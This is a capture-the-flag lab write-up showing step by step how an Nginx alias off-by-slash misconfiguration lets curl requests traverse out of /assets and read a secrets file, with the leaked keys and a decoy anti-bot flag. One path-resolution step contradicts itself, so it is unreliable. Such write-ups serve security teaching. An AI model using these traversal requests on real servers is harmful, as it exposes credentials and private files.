Lab 160 — WikiForge — Nginx Alias Path Traversal
Lab 160 — WikiForge — Nginx Alias Path Traversal
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: client_side_hint_discovery, nginx_alias_path_traversal, off_by_slash_exploitation, source_code_analysis
Summary
Walkthrough of the CUSTOM Web Lab 160 — WikiForge — Nginx Alias Path Traversal. Task: Knowledge base platform serving static assets via Nginx alias — off-by-slash misconfiguration allows path traversal to read arbitrary files. Solution: Discovered config path from commented JS co
Description
WikiForge is a team knowledge base platform built by ForgePoint Technologies where organizations create, organize, and share internal documentation. The application features article authoring with markdown support, version history, collections for organizing content, full-text search, and comments. Explore the application infrastructure and find sensitive configuration data that should not be publicly accessible. Hint: "Pay close attention to how static assets are served — the devil is in the details of the web server configuration."
English summary: A knowledge base platform (WikiForge) running behind Nginx with an Express/Node.js backend. The goal is to find sensitive configuration data by exploiting a web server misconfiguration in how static assets are served.
Credentials: user@test.com / password123 Target: https://b0f504e1-40c2-41cb-829e-e21f3a1e5d17.labs.hackadvisor.io/
Analysis
Infrastructure Fingerprinting
Identified the technology stack from HTTP response headers:
- Web Server: Nginx 1.25.5 (from
Serverheader) - Backend: Express/Node.js (from
X-Powered-By: Expressheader) - Static Assets: Served from
/assets/path (CSS at/assets/css/style.css, JS at/assets/js/app.js)
Nginx Alias Off-by-Slash Vulnerability
The hint pointed to static asset serving configuration. Tested the classic Nginx alias path traversal (off-by-slash):
bash read-only • copy allowed# Request /assets../ — if Nginx has `location /assets` (no trailing slash) # with `alias /path/to/assets/` (with trailing slash), this resolves to parent directory curl -s -o /dev/null -w "%{http_code}" "https://target/assets../" # Result: 403 Forbidden — directory listing denied, but traversal WORKS
A request to a non-existent file via traversal (/assets../nonexistent) returns Nginx's native 404 page (not the Express app's custom 404), further confirming the vulnerability bypasses the application layer entirely.
Client-Side Source Code Analysis
Reading /assets/js/app.js revealed commented-out configuration:
javascript read-only • copy allowed// var APP_CONFIG_ENDPOINT = '/config/.secrets.json'; // var INTERNAL_API_BASE = '/api/internal';
This disclosed the path to a sensitive configuration file that is not served by the Express application but exists on the filesystem.
Honeypot Flag Detection
Every page contained a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} injected into HTML comments and hidden divs. This was correctly identified as fake based on:
- The flag value literally contains "decoy", "not real", and "trap for bots"
- It appeared on every page (real flags are typically in one specific location)
Solution
Step 1: Confirm Nginx Alias Path Traversal
bash read-only • copy allowed# Test off-by-slash — 403 confirms traversal works (directory listing denied) curl -s -o /dev/null -w "%{http_code}" "https://b0f504e1-40c2-41cb-829e-e21f3a1e5d17.labs.hackadvisor.io/assets../" # 403
Step 2: Discover Config Path from Client JS
bash read-only • copy allowedcurl -s "https://b0f504e1-40c2-41cb-829e-e21f3a1e5d17.labs.hackadvisor.io/assets/js/app.js" | grep -i config # // var APP_CONFIG_ENDPOINT = '/config/.secrets.json';
Step 3: Exploit Path Traversal to Read Secrets
bash read-only • copy allowedcurl -s "https://b0f504e1-40c2-41cb-829e-e21f3a1e5d17.labs.hackadvisor.io/assets../config/.secrets.json"
Step 4: Retrieved Sensitive Configuration
json read-only • copy allowed{ "database_url": "sqlite:///app/data/database.db", "session_secret": "fp-wikiforge-s3ss10n-k3y-2025xQ", "internal_api_key": "fpk_live_a8f2c9d1e4b7530946ab", "smtp_password": "SG.nk4R29xvQe2pZ1mB8wTjfw.placeholder", "FLAG": "FLAG{REDACTED}" }
Why It Works
The vulnerable Nginx configuration looks like:
nginx read-only • copy allowedlocation /assets { alias /app/static/assets/; }
The off-by-slash vulnerability occurs because:
location /assetshas no trailing slashalias /app/static/assets/has a trailing slash
When requesting /assets../config/.secrets.json:
- Nginx matches
location /assets(prefix match) - Strips the matched prefix
/assetsfrom the URI, leaving../config/.secrets.json - Appends to the alias path:
/app/static/assets/+../config/.secrets.json - Resolves to
/app/static/config/.secrets.json→ actually/app/config/.secrets.json
Direct access to /config/.secrets.json via the Express app returns 404 (the app doesn't serve it), but the Nginx alias traversal serves the file directly from the filesystem, bypassing application-level access controls.
Key Takeaways / Lessons
- Mastering client_side_hint_discovery, nginx_alias_path_traversal, off_by_slash_exploitation, source_code_analysis was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-05 • CUSTOM • Lab 160 — WikiForge — Nginx Alias Path Traversal • Difficulty: Easy